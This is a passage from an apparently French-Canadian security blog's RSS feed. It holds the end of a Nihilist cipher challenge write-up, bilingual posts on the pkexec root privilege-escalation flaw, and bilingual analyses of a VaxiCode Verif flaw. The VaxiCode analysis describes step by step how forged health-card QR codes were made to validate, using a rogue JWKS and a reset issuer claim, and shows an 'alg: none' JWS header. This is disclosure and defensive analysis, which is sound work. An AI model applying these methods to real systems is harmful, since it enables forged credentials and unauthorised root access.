    1         43, 44, 45, 53, 54, 55
    2               13, 14, 15
    3         13, 14, 15, 23, 24, 25
    4                   45
    5                 41, 42
    6             44, 45, 54, 55
    7         24, 25, 34, 35, 44, 45
    8             11, 12, 13, 14
    9             11, 12, 21, 22
    10        31, 32, 41, 42, 51, 52
</code></pre></div></div>

<p>Même si tous ces calculs sont faisables à la main, un script Python peut
être une aide importante tant au point de vue temps, que santé mentale.</p>

<h2 id="des-chiffres">Des chiffres</h2>

<p>Pour ce chiffre, on a donc une clé de 10 caractères chaque caractère
ayant respectivement 6, 3, 6, 1, 2, 4, 6, 4, 4, et 6 possibilités. Le
nombre de combinaisons possibles est de
$6 \times 3 \times 6 \times 1 \times 2 \times 4 \times 6 \times 4 \times 4 \times 6 = 497664$.
Parmi ces combinaisons, beaucoup ne sont pas des mots. On pourrait
commencer par les exclure mais, au final, si la clé est aléatoire nous
avons 497664 clés à tester.</p>

<p>De plus, si on ne veut pas devoir valider manuellement chaque test de
déchiffrage, il faudrait automatiser le tout en comparant chaque bloc de
4 caractères d’une tentative de décodage aux
<a href="https://github.com/torognes/enigma/blob/master/">quadrigrammes</a>
français et anglais (on présume que le message est dans une de ces deux
langues) qui sont au nombre d’environ 400000 chacun. Notons qu’il y a 22
blocs de 4 caractères possibles dans une séquence de 25 caractères.</p>

<p>Finalement, rien ne nous certifie qu’un carré de Polybe totalement
aléatoire n’a pas été utilisé pour la substitution initiale. Pour 26
lettres on a $26! \approx 4 \times 10^{26}$ carrés possibles.</p>

<p>On aura approximativement
$497644 \times 400000 \times 400000 \times 22 \times 4 \times 10^{26} \approx 7 \times 10^{44}$
tests à faire.</p>

<p>Ça fait beaucoup de chemins à explorer, il faut donc réduire encore plus
cet espace d’exploration en faisant plusieurs suppositions.</p>

<h2 id="suppositions">Suppositions</h2>

<p>Pour débuter, on fera les suppositions suivantes:</p>

<ol>
  <li>
    <p>La clé de surchiffrement est un mot. Probablement relié au podcast.</p>
  </li>
  <li>
    <p>Le carré de Polybe utilisé est un des quelques carrés les plus
connus (avec les lettres de l’alphabet pratiquement dans l’ordre).</p>
  </li>
  <li>
    <p>La langue utilisée pour la clé et le message original est soit le
français ou l’anglais.</p>
  </li>
  <li>
    <p>L’algorithme des Nihilistes utilisé pour chiffer le message n’a pas
été modifié pour compliquer le déchiffrement.</p>
  </li>
</ol>

<h2 id="trouver-la-clé-de-surchiffrement">Trouver la clé de surchiffrement</h2>

<p>Fort de ces suppositions, on peut enfin s’attaquer à la clé de
surchiffrement. On présume que le carré de Polybe le plus commun, où on
omet la lettre "J", a été utilisé (Table 10). Encoder le message avec ce carré
impliquerait l’utilisation des lettres de la Table 11 pour chiffrer la clé.</p>

<p>Table 10 : Carré de Polybe présumément utilisé.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>         1       2       3       4       5
 1       A       B       C       D       E
 2       F       G       H       I       K
 3       L       M       N       O       P
 4       Q       R       S       T       U
 5       V       W       X       Y       Z
</code></pre></div></div>

<p>Table 11 : Lettres possibles pour la clé.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 1       2       3       4       5       6       7       8       9      10
 S       C       C       U       Q       T       I       A       A       L
 T       D       D               R       U       K       B       B       M
 U       E       E                       Y       O       C       F       Q
 X               H                       Z       P       D       G       R
 Y               I                               T                       V
 Z               K                               U                       W
</code></pre></div></div>

<p>Les 10 lettres les plus communes dans les mots français sont e, a, i, s,
n, r, t, o, l, u alors qu’en anglais il s’agit de e, t, a, o, i, n, s,
h, r, d. Ne conservons pour l’instant que les lettres les plus communes
pour les deux langues. En faisant ceci, on se rend presque immédiatement
compte, si on a déjà joué au scrabble ou fait des mots cachés, qu’on a
presque le mot SECURITÉ ou encore SECURITY (Table 12). Ce n’est très
certainement pas un hasard.</p>

<p>Table 12 : Lettres possibles épurées.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 1       2       3       4       5       6       7       8       9       10
 S               C       U               T       I       A       A       L
 T       D       D               R       U                            
 U       E       E                               O                    
                 H                                       D               R
                 I                               T                    
                                                 U                    
</code></pre></div></div>

<p>Une bonne façon de vérifier si on est sur la bonne voie est d’utiliser
cette clé de surchiffrement partielle pour décoder le message.
L’utilisation de <a href="https://www.dcode.fr/">dCode</a> accélère grandement ce
genre de test puisqu’il permet de modifier rapidement soit le carré de
Polybe, soit la clé. Comme il nous manque quelques lettres à la clé pour
former un mot, on va les remplacer arbitrairement par la première lettre
de chaque colonne. On obtient la clé <em>SECURTTAAL</em>. En utilisant celle-ci
et la Table 10 pour tenter de déchiffrer le message on obtient
<em>PRZVAZEDKYZSNOTGPOGMZCKEX</em>.</p>

<p>On remarque un petit mot anglais et quelques bigrammes communs en
anglais dans le message partiellement décodé:<br />
<strong>PR</strong>Z<strong>VA</strong>ZEDKYZS<strong>NOT</strong>GPOGMZC<strong>KE</strong>X.</p>

<p>C’est un grand pas puisqu’on a identifié la langue du message original.
De plus, il y a plus de lettres "Z" qu’il ne faudrait dans ce message,
ce qui laisse croire qu’il y a un problème avec le carré de Polybe
utilisé. En consultant la liste des 10 lettres les plus communes en
anglais on remarque que le "I", la cinquième lettre la plus utilisée
dans cette langue, n’apparait jamais alors que le "Z" apparait à
quatre reprises. Si on inverse les positions du "I" et du "Z" dans
le carré de Polybe et qu’on tente à nouveau de décoder le message on
obtient un message partiellement décodé avec encore plus de mots et mots
partiels <strong>PRIVA</strong>I<strong>E</strong>DKY<strong>ISNOT</strong>GPOGMIC<strong>KE</strong>X.</p>

<p>À ce point, il est beaucoup plus facile d’essayer quelques autres clés
que de tenter de modifier le carré de Polybe. En essayant avec les clés
SECURITEAL et SECURITYAL on obtient:\</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> SECURITEAL: PRIVATE?KYISNOTAP?GMICKEX
 SECURITYAL: PRIVATE?BIUYNNTQC?BHKVMVI?
</code></pre></div></div>

<p>La première tentative de clé, avec le mot en français, est clairement
mieux même si deux lettres sont impossibles à décoder avec le carré de
Polybe utilisé. Pour les deux dernières lettres de la clé, on peut soit
utiliser la force brute et tester toutes les combinaisons possibles ou
se souvenir (grâce à notre mini OSINT) que le site internet du podcast
est <a href="https://securite.fm/">securite.fm</a>.</p>

<p>Avec la clé de surchiffrement "SECURITEFM", on décode le message
<em>PRIVATE?EXISNOTAP?BLICKEX</em> qu’on peut deviner être
"PRIVATEKEXISNOTAPUBLICKEY". Cependant, le message n’est pas
totalement décodable avec cette clé. On peut facilement améliorer la
situation en inversant les lettres "X" et "Y" dans le carré de
Polybe pour obtenir la Table 13.</p>

<p>Table 13 : Carré de Polybe final.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>         1       2       3       4       5
 1       A       B       C       D       E
 2       F       G       H       Z       K
 3       L       M       N       O       P
 4       Q       R       S       T       U
 5       V       W       Y       X       I
</code></pre></div></div>

<p>Avec cette clé et ce carré de Polybe, deux nombres dans notre séquence
de chiffres initiale ne peuvent être décodés 78 57 68 96 53 99 59 <strong>25</strong>
36 85 98 58 46 79 86 66 79 <strong>45</strong> 33 63 98 28 38 60 95. Ils
correspondent aux lettres aux positions 8 et 18 du message. Avec la clé
de surchiffrement actuelle, le nombre 25 devrait être 10 puisqu’on
devrait soustraire 15 (à cause du "E") et le nombre 45 devrait être
30, pour la même raison.</p>

<p>Or 10 et 30 ne peuvent être obtenus avec la clé et le carré de Polybe
trouvés. Cependant, les nombres 25 et 45 correspondent aux lettres
manquantes "K" et "U". Ces deux lettres n’ont tout simplement pas
été surchiffrées avec la clé! Il s’agit soit d’une erreur involontaire
ou d’une tentative de rendre le déchiffrement du message plus difficile.
Au final, tous seront d’accord avec le message secret: "private key is
not a public key".</p>

<h1 id="solution-officielle">Solution officielle</h1>

<p>Après avoir validé le message secret avec les instances officielles de la French Connection. Les hautes autorités m’ont transmise la solution officielle que je vous communique. Un certain point dans celle-ci peut nous laisser perplexe :</p>

<ol>
  <li>Texte à encoder: PRIVATEKEYISNOTAPUBLICKEY</li>
  <li>Jeu de caractères de clé: ABCDEFGHIJKLMNOPQRSTUVVVXYZ  (w = VV)</li>
  <li>Clé: SECURITE.FM</li>
  <li>Encoder la réponse en hexa</li>
</ol>

<p>Le tout a été encodé à l’aide d’un outil non spécifié, utilisant très certainement le chiffre des Nihilistes. Le point délicat dans cette solution étant bien évidement le point «.» entre SECURITE et FM. Il n’apparait nulle part dans les caractères utilisés dans le chiffre. Pourtant, l’outil utilisé a bien chiffré le message. Cette clé non conventionnelle explique probablement pourquoi deux lettres n’étaient pas encodées tel qu’attendu.</p>

<p>Ceci illustre la difficulté de déchiffrer un message encodé avec un algorithme et des outils inconnus. On n’est jamais à l’abris des surprises.</p>

<h1 id="références">Références</h1>

<ul>
  <li>
    <p><a href="https://www.dcode.fr/chiffre-nihiliste">https://www.dcode.fr/chiffre-nihiliste</a></p>
  </li>
  <li>
    <p><a href="https://gchq.github.io/CyberChef">https://gchq.github.io/CyberChef</a></p>
  </li>
  <li>
    <p><a href="https://alexbarter.com/cryptanalysis/breaking-nihilist-substitution-cipher/">https://alexbarter.com/cryptanalysis/breaking-nihilist-substitution-cipher/</a></p>
  </li>
  <li>
    <p><a href="http://www.crypto-it.net/eng/simple/nihilist.html">http://www.crypto-it.net/eng/simple/nihilist.html</a></p>
  </li>
  <li>
    <p><a href="http://www.benburlingham.com/core/articles/nihilist-cipher.html">http://www.benburlingham.com/core/articles/nihilist-cipher.html</a></p>
  </li>
</ul>

<p>(1) Ce travail est sujet à la licence WTFPL. Visitez
    <a href="http://www.wtfpl.net/">http://www.wtfpl.net/</a> pour une copie complète de cette licence.</p>

]]></content:encoded>
    </item>
    <item>
      <title>Linux vulnerability lets you be &quot;King of the World&quot;</title>
      <link>https://media.hackfest.ca/en/blog/linux-vulnerability-pkexec</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/linux-vulnerability-pkexec</guid>
      <pubDate>Fri, 28 Jan 2022 08:00:00 +0000</pubDate>
      <dc:creator>Jacques Sauvé</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Vulnerabilities</category>
      <category>Linux</category>
      <category>pkexec</category>
      <category>polkit</category>
      <category>privesc</category>
      <description>I woke up this morning to a very interesting news article on BleepingComputer: a new vulnerability has been disclosed that affects almost all the major Linux distributions. It allows any logged in user to easily elevate their privileges to that of root. Like, really easily!</description>
      <enclosure url="https://media.hackfest.ca/images/posts/masterlockrootpassword.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/masterlockrootpassword.webp" alt="Master Lock R00t Password" /></p>

<p>I woke up this morning to a very interesting news article on BleepingComputer: a new vulnerability has been disclosed that affects almost all the major Linux distributions. It allows any logged in user to easily elevate their privileges to that of root. Like, really easily!</p>

<p>The issue was discovered by Qualys researchers back in November 2021, and through “responsible disclosure” allowed the vendors to issue a patch (note that not ALL distributions have been patched, as you’ll see later). The bug is in the “pkexec” module, part of the “Policy Toolkit” (or Polkit for short) which handles requests to run commands as another user, much like “su”.</p>

<p>As it turns out, it’s an absolutely simple process to bypass pkexec and elevate one’s privileges to that of root. An exploit was published no less than 3 hours after Qualys published their findings. Curious to see if my Kali Linux VM was vulnerable, I did a quick Google search for the code shown in the BleepingComputer article; it literally comes up in 0.39 seconds and is the first link - talk about great SEO!</p>

<p>As you can see from the video below, I compiled the code and ran it, and sure enough: I was root!</p>

<p>Curious to see if Kali had released any updates for it (this VM was last updated about a week ago, as I keep my systems very up-to-date), I ran the full update and tried the exploit again. Unfortunately, it still worked, as the version of pkexec was still 0.105, the same as before the updates.</p>

<p>If your Linux distribution vendor has not yet updated their pkexec module, one mitigation described in the article is simply to strip the Read/Write rights from the file using “chmod 0755 /usr/bin/pkexec”.</p>

<p>This is nowhere as severe as the recent Log4j vulnerability, of course, as it would be highly unlikely that a logged in Linux server would be exposed to the Internet (right???), but it still puts your systems at risk from internal threats, or perhaps even from an outside attacker who is executing lateral movements inside your network. One potential risk is that an organisation might provide login credentials to IT techs to execute simple tasks without necessarily providing them with root access; this exploit allows them to very simply elevate their privileges and potentially cause damage.</p>

<iframe width="560" height="315" src="https://www.youtube.com/embed/fNQV-ooPJDE" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>

<p>Photo credit: <a href="https://www.flickr.com/photos/schill/">schill</a> - <a href="https://creativecommons.org/licenses/by/2.0/">licence CC BY</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Une vulnérabilité de Linux vous permet de devenir &quot;Le King&quot;</title>
      <link>https://media.hackfest.ca/blog/vulnerabilite-linux-pkexec</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/vulnerabilite-linux-pkexec</guid>
      <pubDate>Fri, 28 Jan 2022 08:00:00 +0000</pubDate>
      <dc:creator>Jacques Sauvé</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Vulnérabilités</category>
      <category>Linux</category>
      <category>pkexec</category>
      <category>polkit</category>
      <category>privesc</category>
      <description>Je me suis réveillé ce matin avec un article très intéressant sur BleepingComputer : une nouvelle vulnérabilité a été divulguée qui affecte presque toutes les principales distributions Linux. Elle permet à n’importe quel utilisateur connecté d’élever facilement ses privilèges à ceux de root. Vraiment facilement !</description>
      <enclosure url="https://media.hackfest.ca/images/posts/masterlockrootpassword.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/masterlockrootpassword.webp" alt="Mot de pass R00t" /></p>

<p>Je me suis réveillé ce matin avec un article très intéressant sur BleepingComputer : une nouvelle vulnérabilité a été divulguée qui affecte presque toutes les principales distributions Linux. Elle permet à n’importe quel utilisateur connecté d’élever facilement ses privilèges à ceux de root. Vraiment facilement !</p>

<p>Le problème a été découvert par les chercheurs de Qualys en novembre 2021, et grâce à une “divulgation responsable”, les fournisseurs ont pu publier un correctif (notez que toutes les distributions n’ont pas été corrigées, comme vous le verrez plus tard). Le bogue se trouve dans le module “pkexec”, qui fait partie du “Policy Toolkit” (ou Polkit en abrégé) et qui traite les demandes d’exécution de commandes en tant qu’autre utilisateur, comme “su”.</p>

<p>Il s’avère qu’il est très simple de contourner pkexec et d’élever ses privilèges à ceux de root. Un exploit a été publié pas moins de 3 heures après que Qualys ait publié ses conclusions. Curieux de voir si ma VM Kali Linux était vulnérable, j’ai fait une recherche rapide sur Google pour le code montré dans l’article de BleepingComputer ; il apparaît littéralement en 0,39 secondes et est le premier lien - c’est de l’excellent référencement, ça !</p>

<p>Comme vous pouvez le voir dans la vidéo ci-dessous, j’ai compilé le code et l’ai exécuté, et comme de juste : j’étais root !</p>

<p>Curieux de voir si Kali avait publié des mises à jour pour ce programme (cette VM a été mise à jour pour la dernière fois il y a environ une semaine, car je garde mes systèmes très à jour), j’ai exécuté la mise à jour complète et essayé l’exploit à nouveau. Malheureusement, il fonctionnait toujours, car la version de pkexec était toujours 0.105, la même qu’avant les mises à jour.</p>

<p>Si le fournisseur de votre distribution Linux n’a pas encore mis à jour son module pkexec, une solution décrite dans l’article consiste simplement à retirer les droits de lecture/écriture du fichier en utilisant “chmod 0755 /usr/bin/pkexec”.</p>

<p>Cela n’est pas aussi grave que la récente vulnérabilité de Log4j, bien sûr, car il serait très improbable qu’un serveur Linux connecté soit exposé à Internet (n’est-ce pas ???), mais cela met tout de même vos systèmes en danger face à des menaces internes, ou peut-être même face à un attaquant extérieur qui effectue des mouvements latéraux au sein de votre réseau. Un risque potentiel est qu’une organisation fournisse des identifiants de connexion à des techniciens informatiques pour exécuter des tâches simples sans nécessairement leur donner un accès root ; cet exploit leur permet d’élever très simplement leurs privilèges et de causer potentiellement des dommages.</p>

<iframe width="560" height="315" src="https://www.youtube.com/embed/I9jICFaL-G8" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>

<p>Crédit photo: <a href="https://www.flickr.com/photos/schill/">schill</a> - <a href="https://creativecommons.org/licenses/by/2.0/">licence CC BY</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Analysis of a vulnerability in the VaxiCode Verif application</title>
      <link>https://media.hackfest.ca/en/blog/vaxicode-verif-vulnerability-analysis</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/vaxicode-verif-vulnerability-analysis</guid>
      <pubDate>Tue, 31 Aug 2021 16:30:00 +0000</pubDate>
      <dc:creator>Anonymous contributor</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Vulnerabilities</category>
      <category>VaxiCode</category>
      <category>JWS</category>
      <category>QR code</category>
      <category>health</category>
      <description>The VaxiCode Verif application recently launched by the Government of Québec was the subject of a vulnerability disclosure allowing fake codes to be validated. Here is our analysis.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/vaxicode-featured.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/vaxicode-featured.webp" alt="A fake VaxiCode" /></p>

<h2 id="understanding-smart-health-cards">Understanding SMART Health Cards</h2>

<p>The <a href="https://spec.smarthealth.cards">SMART Health Card (SHC)</a>, which contains the information stored in your QR code, is based on a proven technology known as JSON Web Signature (<a href="https://fr.wikipedia.org/wiki/JSON_Web_Signature">explainer</a>, <a href="https://datatracker.ietf.org/doc/html/rfc7515">JWS specification</a>).</p>

<p>JWS allow, among other things, the cryptographic signing of arbitrary data (the payload), as well as its verification using information (the headers) contained within that very data, namely the public key and the signing method.</p>

<p>This same technology is used to build other technologies such as JSON Web Token, the Open ID suite of specifications, and others, which are very frequently used to store data outside of a controlled environment while ensuring its verifiable validity. For example, if you frequently use Google services, this same technology is used to connect you to them securely.</p>

<p>The concept of a signature involves a private key and a public key. The entity (the Government of Québec) that publishes the data (the QR code representing the SHC) uses the private key to sign it, and the applications that consume it use the public key (the VaxiCode Verif app) to validate that this data has not been modified by a malicious person. Without going into detail, the signed data is then considered safe and verifiable. For more information, we invite you to consult this <a href="https://fr.wikipedia.org/wiki/Signature_numérique">article on signatures</a>.</p>

<p>Now that we know the SHC data is tamper-proof, what does your QR code contain? It contains a few pieces of information, called <code class="language-plaintext highlighter-rouge">claims</code>.</p>

<p>A first claim, <code class="language-plaintext highlighter-rouge">iss</code> or <em>issuer</em>, identifies the entity that publishes this data. Another, <code class="language-plaintext highlighter-rouge">iat</code> or <em>issued at</em>, indicates the date on which it was published. Finally, a claim named <code class="language-plaintext highlighter-rouge">vc</code> or <em>verifiable credentials</em> contains the crucial information of the SHC.</p>

<p>Present in the latter are the type of data that the SHC contains (immunization data, COVID-19 context and others), and a list of entries.</p>

<p>One in particular describes the patient (you) who is the subject of the SHC. In it are found <strong>only</strong> your first name, last name, and your date of birth.</p>

<p>Then, for each dose of vaccine received, you will also find the information describing which vaccine was received, on what date, and the name of the place where the injection was performed.</p>

<h2 id="the-vulnerability">The vulnerability</h2>

<p>Let us now return to the main issue, namely the vulnerability contained in versions 1.0.1 and earlier of the VaxiCode Verif app.</p>

<p>It would allow the application to validate codes that were not issued by the Government of Québec. By this, we mean that a person would be able to issue and sign an SHC themselves, thereby succeeding in defeating the application’s verification that the data included in it is indeed truthful (signature) and endorsed by the only authority currently having the capacity to issue SHCs (claim <code class="language-plaintext highlighter-rouge">iss</code>).</p>

<p>This vulnerability was first made public on Friday, August 27, 2021, in <a href="https://ici.radio-canada.ca/nouvelle/1819589/passeport-vaccinal-faille-application-vaxicode">an article</a> by Radio-Canada.</p>

<h2 id="possible-avenues-of-vulnerability">Possible avenues of vulnerability</h2>

<p>Before validating the vulnerability of the verification application, let us go through several common problems in the implementation of JWS validations and similar technologies that could allow such a result.</p>

<p>Since the vulnerability was found less than 24 hours after the application’s release, it is unlikely that the flaws are the result of very complicated operations. Let us start with these few basic checks:</p>

<ol>
  <li>Are the public keys indeed used to validate the content of the JWS?</li>
  <li>Is the validation of the <code class="language-plaintext highlighter-rouge">iss</code> claim done correctly?</li>
  <li>Are the external JWK downloaded and used?</li>
  <li>Are the keys used <em>properly</em>?</li>
  <li>Could it be possible that insecure signing modes are allowed (specifically, <code class="language-plaintext highlighter-rouge">alg: "none"</code>)?</li>
</ol>

<h2 id="tools-used">Tools used</h2>

<p>The following common tools were used for the majority of the tests:</p>

<ul>
  <li><a href="https://github.com/http-party/http-server">http-server</a> to serve files during the tests.</li>
  <li><a href="https://ngrok.com">ngrok</a> to make the server publicly available.</li>
  <li><a href="https://github.com/Path-Check/shc-sdk.js">@pathcheck/shc-sdk</a> to easily generate SHC, JWKS and others. It uses the common package <a href="https://github.com/cisco/node-jose">node-jose</a>.</li>
  <li><a href="https://bramp.github.io/smart-health-card-scanner/">Smart Health Card Scanner</a> to inspect SHC easily.</li>
  <li>A QR scanning application to read the content of the QR codes.</li>
</ul>

<p>To validate <code class="language-plaintext highlighter-rouge">alg: "none"</code>, these were added to the list:</p>

<ul>
  <li><a href="https://github.com/auth0/node-jwa">node-jwa</a> to generate JWS with this type of algorithm.</li>
  <li><a href="https://datatracker.ietf.org/doc/html/rfc7518#section-8.5">pako</a> to compress the JWS payload.</li>
</ul>

<h2 id="checks">Checks</h2>

<h3 id="use-of-the-governments-public-key-and-use-of-the-iss-claim">Use of the government’s public key and use of the <code class="language-plaintext highlighter-rouge">iss</code> claim</h3>

<p>To begin, an existing QR was scanned to obtain the string of characters making up the SHC. The latter was opened in the Smart Health Card Scanner to quickly visualize its content.</p>

<p>Its content was copied into a script allowing a new SHC to be generated using SHC-SDK, but signed with a different JWK than the application’s. The payload was left identical.</p>

<p>At the same time, the <code class="language-plaintext highlighter-rouge">iss</code> claim is left identical to validate that this does not allow the signature validation to be ignored.</p>

<p><strong>Result</strong>: VaxiCode Verif displays an error message: <em>This QR code is not valid proof of vaccination</em>. We assume that the signature was indeed validated and that the <code class="language-plaintext highlighter-rouge">iss</code> claim does not allow it to be bypassed.</p>

<p><img src="https://media.hackfest.ca/images/posts/vaxicode-erreur-preuve-vaccination.webp" alt="This QR code is not valid proof of vaccination" style="max-width: 320px" /></p>

<h3 id="external-jwk">External JWK</h3>

<p><a href="https://datatracker.ietf.org/doc/html/rfc7517">JWK is a format allowing the exchange of cryptographic keys</a> that is used when validating the signatures of the SHC issued by the government. We speak of JWKS when it is a set of keys (JSON Web Key Set).</p>

<p>We attempt to import an external JWKS at the path <code class="language-plaintext highlighter-rouge">.well-known/jwks.json</code>. A very simple local HTTP server is set up behind a tunnel to make it publicly available with the HTTPS protocol. The <code class="language-plaintext highlighter-rouge">iss</code> claim is changed to the tunnel’s domain (for reference, let us call it Serveur.Local). A JWKS is also generated, then placed in the <code class="language-plaintext highlighter-rouge">.well-known</code> folder, then the SHC is generated and scanned. The JWKS is therefore accessible at the address <code class="language-plaintext highlighter-rouge">https://Serveur.Local/.well-known/jwks.json</code>.</p>

<p><strong>Result</strong>: The proxy indicates having indeed received a call to <code class="language-plaintext highlighter-rouge">GET /.well-known/jwks.json</code>. At the time of the scan, VaxiCode Verif indicates an error: <em>Certified by an unknown authority. Serveur.Local</em>. We assume that the JWK were indeed imported. This is entirely normal up to this point.</p>

<p><img src="https://media.hackfest.ca/images/posts/vaxicode-erreur-issuer.webp" alt="Certified by an unknown authority. Serveur.Local" style="max-width: 320px" /></p>

<h3 id="usage-of-public-keys">Usage of public keys</h3>

<p>We now attempt to see whether the JWK that was imported is usable only by its issuer. We set the <code class="language-plaintext highlighter-rouge">iss</code> claim back to its initial value (https://covid19.quebec.ca/PreuveVaccinaleApi/issuer) and generate a new SHC, then scan it.</p>

<p><strong>Result</strong>: The SHC is accepted as truthful. <strong>We have reproduced the vulnerability</strong>. We deduce that the JWK that was imported in the last step was not correctly marked as being usable <strong>only</strong> by the issuer Serveur.Local to validate signatures, and that the issuer https://covid19.quebec.ca/PreuveVaccinaleApi/issuer is now able to validate signatures with the keys of Serveur.Local, which should never happen.</p>

<p><img src="https://media.hackfest.ca/images/posts/vaxicode-preuve.webp" alt="SMART Health Card authorized" style="max-width: 320px" /></p>

<h3 id="insecure-signatures">Insecure signatures</h3>

<p>A compliant JWS similar to the SHC format was also created and scanned, but with the following header:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"alg"</span><span class="p">:</span><span class="w"> </span><span class="s2">"none"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"zip"</span><span class="p">:</span><span class="w"> </span><span class="s2">"DEF"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">alg: "none"</code> indicates to the signature verifier that there is <a href="https://datatracker.ietf.org/doc/html/rfc7518#section-8.5">no signature to verify</a>.</p>

<p><strong>Result</strong>: The VaxiCode Verif app is simply unable to recognize a QR code of this type. No vulnerability here.</p>

<h2 id="analysis">Analysis</h2>

<p>The problem causing the vulnerability is mentioned in the SHC specification. It is the responsibility of the group developing an application making use of the SHC standard to pay attention to it. The problem is described directly:</p>

<ol>
  <li>in the SHC specification, sections <a href="https://spec.smarthealth.cards/#signing-health-cards">Signing Health Cards</a> and <a href="https://spec.smarthealth.cards/#determining-keys-associated-with-an-issuer">Determining keys associated with an issuer</a> as well as</li>
  <li>in the JWS specification, section <a href="https://datatracker.ietf.org/doc/html/rfc7515#section-10.3">Key Origin Authentication</a>, from which <a href="https://spec.smarthealth.cards/#health-cards-are-encoded-as-compact-serialization-json-web-signatures-jws">the former inherits</a>.</li>
</ol>

<p>“10.3.  Key Origin Authentication:
The key management technique employed to obtain public keys must authenticate the origin of the key; otherwise, it is unknown what party signed the message.”</p>

<p><a href="https://datatracker.ietf.org/doc/html/rfc7515#section-10.3">Excerpt from the JWS specification</a></p>

<p>In clearer terms, one must ensure that the signature is verified <strong>only</strong> with keys originating from the issuer, but the implementation in the VaxiCode Verif application did not do so for versions &lt;=1.0.1.</p>

<h2 id="are-the-qr-codes-compromised">Are the QR codes compromised?</h2>

<p><strong>No.</strong> As mentioned, the QR codes that contain the SHC information are compliant with the specification and are entirely secure.</p>

<p>Here, the first part of the problem lies in the fact that the keys used to verify the codes are not <strong>only</strong> associated with their respective issuers. This is a regrettable omission, however (and fortunately), it is easy to fix.</p>

<p>In addition, the application should only validate trusted issuers, which seems to be the case, but remains to be verified following the correction.</p>

<h2 id="validation-of-the-fix">Validation of the fix</h2>

<p>On Sunday, August 29, 2021, a new version of VaxiCode Verif, 1.0.2, was published on the Apple App Store. The changes are described as follows:</p>

<blockquote>
  <ul>
    <li>Improvement of the proof verifier</li>
    <li>Improvements for smaller screens</li>
    <li>Accessibility improvements</li>
  </ul>
</blockquote>

<p>We used the same procedure as the one described above to attempt to validate the fix.</p>

<p><strong>Result</strong>: The vulnerability has indeed been fixed, and we are no longer able to exploit it.</p>

<p>Without access to the application’s code, it is difficult to describe exactly the fixes made. However, we are still able to make a few observations. The most important concerns the fact that the application no longer downloads the external JWKS at the issuer’s <code class="language-plaintext highlighter-rouge">/.well-known/jwks.json</code> path; it is therefore no longer able to perform either the import or the validation of signatures generated with keys other than the government’s. In addition, the error message displayed in this case is no longer <em>Certified by an unknown authority. Serveur.Local</em>, but rather <em>This QR code is not valid proof of vaccination</em>.</p>

<p><img src="https://media.hackfest.ca/images/posts/vaxicode-erreur-correction.webp" alt="This QR code is not valid proof of vaccination" style="max-width: 320px" /></p>

]]></content:encoded>
    </item>
    <item>
      <title>Analyse d&apos;une vulnérabilité de l&apos;application VaxiCode Verif</title>
      <link>https://media.hackfest.ca/blog/analyse-vulnerabilite-app-vaxicode-verif</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/analyse-vulnerabilite-app-vaxicode-verif</guid>
      <pubDate>Tue, 31 Aug 2021 16:30:00 +0000</pubDate>
      <dc:creator>Collaborateur anonyme</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Vulnérabilités</category>
      <category>VaxiCode</category>
      <category>JWS</category>
      <category>code QR</category>
      <category>santé</category>
      <description>L’application VaciCode Verif récemment lancée par le gouvermement du Québec a fait l’objet d’une divulgation de vulnérabilité permettant de valider des codes factices. Voici notre analyse.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/vaxicode-featured.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/vaxicode-featured.webp" alt="Un faux VaxiCode" /></p>

<h2 id="comprendre-les-smart-health-cards">Comprendre les SMART Health Cards</h2>

<p>La <a href="https://spec.smarthealth.cards">SMART Health Card (SHC)</a>, contenant les informations enregistrées dans votre code QR, est basée sur une technologie éprouvée connue sous le nom de JSON Web Signature (<a href="https://fr.wikipedia.org/wiki/JSON_Web_Signature">explicatif</a>, <a href="https://datatracker.ietf.org/doc/html/rfc7515">spécification JWS</a>).</p>

<p>Les JWS permettent, entre autres, la signature cryptographique de données arbitraires (le payload), ainsi que leur vérification à l’aide d’informations (les entêtes) contenues à même ces données, soit la clé publique et la méthode de signature.</p>

<p>Cette même technologie est utilisée pour bâtir d’autres technologies telles que JSON Web Token, la suite de spécifications Open ID, et autres, qui sont très fréquemment utilisés pour enregistrer des données hors d’un environnement contrôlé tout en assurant la validité vérifiable de celles-ci. Par exemple, si vous utilisez fréquemment les services Google, cette même technologie est utilisée pour vous connecter à ceux-ci de manière sécuritaire.</p>

